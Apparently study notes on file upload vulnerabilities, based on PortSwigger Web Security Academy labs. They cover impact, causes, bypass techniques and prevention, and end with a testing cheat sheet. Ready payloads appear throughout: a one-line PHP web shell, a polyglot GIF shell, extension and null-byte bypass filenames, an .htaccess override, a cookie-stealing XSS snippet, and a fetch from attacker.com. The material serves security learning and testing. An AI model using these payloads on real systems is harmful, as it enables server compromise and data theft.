

File Upload Vulnerabilities

Reference: PortSwigger Web Security Academy

<https://portswigger.net/web-security/file-upload>

1. File Upload Vulnerabilities

File upload vulnerabilities occur when a web application allows users to upload files without sufficiently validating their **type, content, name, location, or execution behavior**. Because file uploads often interact directly with the server's filesystem, these vulnerabilities frequently lead to **high-impact outcomes**, including **remote code execution (RCE)**.

File upload issues consistently rank among the most dangerous web vulnerabilities due to their exploitability and severe consequences.

2. What Are File Upload Vulnerabilities?

A file upload vulnerability exists when an application:

- Accepts files from users
- Stores them on the server
- Fails to adequately restrict **what kind of files** can be uploaded
- Allows uploaded files to be **executed or parsed in an unsafe manner**

These vulnerabilities commonly appear in:

- Profile image uploads
 - Document uploads
 - Support ticket attachments
 - Admin content management panels
-

3. What Is the Impact of File Upload Vulnerabilities?

The impact depends on how the uploaded file is processed and stored.

3.1 Remote Code Execution (Critical)

Attackers upload server-side executable files (e.g., PHP, JSP, ASPX) and execute them to run arbitrary commands.

3.2 Full Server Compromise

Successful web shell uploads can lead to:

- Privilege escalation
- Database access
- Lateral movement

3.3 Client-Side Attacks

Uploading malicious JavaScript or HTML files can lead to:

- Stored XSS
- Session hijacking
- Credential theft

3.4 Denial of Service

Large or malformed files can exhaust storage, memory, or CPU.

4. How Do File Upload Vulnerabilities Arise?

File upload vulnerabilities arise due to:

- Trusting client-side validation
 - Relying only on file extensions
 - Inadequate MIME-type checks
 - Storing files in web-accessible directories
 - Misconfigured web servers
-

5. How Do Web Servers Handle Requests for Static Files?

When a file is requested:

1. The web server maps the URL to a file path
2. The server determines how to handle the file based on:

- File extension
- MIME type
- Server configuration

3. The file is either:

- Returned as static content
- Executed by an interpreter (PHP, JSP, ASP.NET)

If an attacker uploads a file that the server executes, **RCE occurs**.

6. Exploiting Unrestricted File Uploads to Deploy a Web Shell

Vulnerable Scenario

The application allows unrestricted file uploads.

Payload (PHP Web Shell)

```
<?php system($_GET['cmd']); ?>
```

Exploitation Flow

1. Upload `shell.php`
2. Access:

```
https://target.com/uploads/shell.php?cmd=whoami
```

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload>

7. Exploiting Flawed Validation of File Uploads

8. Flawed File Type Validation

Content-Type Restriction Bypass

The application checks only the `Content-Type` header.

Payload

```
Content-Type: image/png
```

But file content:

```
<?php system($_GET['cmd']); ?>
```

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass>

9. Preventing File Execution in User-Accessible Directories (And Bypasses)

Even if execution is blocked, misconfigurations may allow bypass.

10. Insufficient Blacklisting of Dangerous File Types

Vulnerable Logic

Blacklist blocks `.php` but allows alternative extensions.

Bypass Examples

```
shell.phtml  
shell.php5  
shell.phar
```

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass>

11. Overriding the Server Configuration

Some servers allow configuration overrides via uploaded files.

Example

Upload `.htaccess` :

```
AddType application/x-httpd-php .jpg
```

Then upload:

```
shell.jpg
```

The server executes it as PHP.

12. Obfuscating File Extensions

Applications may validate extensions poorly.

Bypass Techniques

```
shell.php.jpg  
shell.pHp  
shell.php%00.jpg
```

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension>

13. Flawed Validation of the File's Contents

Some applications inspect file content for known signatures.

Polyglot Web Shell

A file that is both a valid image and executable code.

Example

GIF89a

```
<?php system($_GET['cmd']); ?>
```

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload>

14. Exploiting File Upload Race Conditions

Applications may validate files asynchronously.

Attack Strategy

1. Upload malicious file
2. Access it **before validation or deletion completes**

Related Lab

<https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition>

15. Race Conditions in URL-Based File Uploads

If the server fetches files from URLs:

```
/upload?url=http://attacker.com/shell.php
```

Attackers can swap file contents mid-request.

16. Exploiting File Upload Vulnerabilities Without Remote Code Execution

16.1 Uploading Malicious Client-Side Scripts

Uploading HTML or SVG files containing JavaScript.

```
<script>alert(document.cookie)</script>
```

Leads to **stored XSS**.

16.2 Exploiting Vulnerabilities in the Parsing of Uploaded Files

Examples:

- Image processing libraries
- PDF parsers
- XML parsers

Malformed files may trigger:

- DoS
 - RCE
 - Memory corruption
-

16.3 Uploading Files Using PUT

Some servers allow file uploads via HTTP PUT.

Example

```
PUT /uploads/shell.php HTTP/1.1
```

If enabled, attackers bypass upload forms entirely.

17. How to Prevent File Upload Vulnerabilities

17.1 Strict Server-Side Validation

- Validate extension, MIME type, and content
- Do not trust client input

17.2 Use Allowlists

Allow only explicitly permitted file types.

17.3 Store Files Outside Web Root

Prevent direct execution.

17.4 Rename Uploaded Files

Use generated names instead of user input.

17.5 Disable Script Execution

Ensure upload directories cannot execute code.

17.6 Use Security Headers and CSP

Limit client-side execution risks.

17.7 Malware Scanning

Scan uploaded files for malicious content.

18. File Upload Vulnerabilities – Testing Cheat Sheet

Web Shell

```
<?php system($_GET['cmd']); ?>
```

Double Extension

```
shell.php.jpg
```

Null Byte

```
shell.php%00.jpg
```

MIME Spoofing

```
Content-Type: image/png
```

Polyglot

```
GIF89a<?php system($_GET['cmd']); ?>
```

PUT Upload

```
PUT /uploads/shell.php
```

Race Condition

- Upload
 - Access immediately
-

19. Summary

File upload vulnerabilities represent one of the most dangerous attack vectors in web applications. When improperly handled, they allow attackers to gain remote code execution, compromise servers, and escalate privileges.

Key takeaways:

- File uploads must never trust client input
- Blacklists are insufficient
- Execution must be prevented at multiple layers
- Defense-in-depth is essential

A thorough understanding of file upload vulnerabilities and real-world bypass techniques is critical for both attackers and defenders.
